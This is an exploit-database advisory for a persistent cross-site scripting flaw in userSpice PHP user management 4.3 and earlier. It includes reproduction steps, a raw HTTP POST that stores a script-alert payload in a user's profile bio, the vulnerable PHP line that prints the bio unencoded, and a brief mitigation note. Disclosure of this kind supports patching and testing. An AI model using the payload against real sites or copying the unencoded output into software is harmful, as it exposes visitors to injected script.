header-logo
Suggest Exploit
vendor:
userSpice PHP user management
by:
Dolev Farhi
8.8
CVSS
HIGH
Persistent Cross Site Scripting
79
CWE
Product Name: userSpice PHP user management
Affected Version From: userSpice <= 4.3
Affected Version To: userSpice <= 4.3
Patch Exists: NO
Related CWE: N/A
CPE: a:userspice:userspice
Metasploit: N/A
Other Scripts: N/A
Platforms Tested: N/A
2018

userSpice <= 4.3 Persistent Cross Site Scripting

A persistent Cross Site Scripting vulnerability exists in userSpice version 4.3 and below. An attacker can exploit this vulnerability by logging in with a regular user, navigating to the public profile, editing the bio and entering a XSS payload. Once anyone visits the Bio page, the payload will execute.

Mitigation:

Input validation should be used to prevent XSS attacks. Sanitize user input and encode output.
Source

Exploit-DB raw data:

Application UserSpice PHP user management
Vulnerability userSpice <= 4.3 Persistent Cross Site Scripting
URL https://userspice.com
Date 2.13.2018
Author Dolev Farhi


1. Login with a regular user
2. Navigate to Public profile
3. Edit your bio
4. Enter XSS payload
5. Once anyone visits the Bio page the payload will execute

POST /users/edit_profile.php HTTP/1.1
Host: 192.168.56.2
Content-Length: 59
Cache-Control: max-age=0
Origin: http://192.168.56.2
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://192.168.56.2/users/edit_profile.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,he;q=0.8
Connection: close

bio=<script>alert("1")</script>&csrf=8b1339546d6af1e7536da0a705302e9c&update_bio=

Vulnerable code: 
<td>
    <h4><a href="profile.php?id=<?=$v1->id?>" class="nounderline"><?=echouser($v1->id)?>  </a></h4>
    <p><?=$ususerbio?></p>
</td>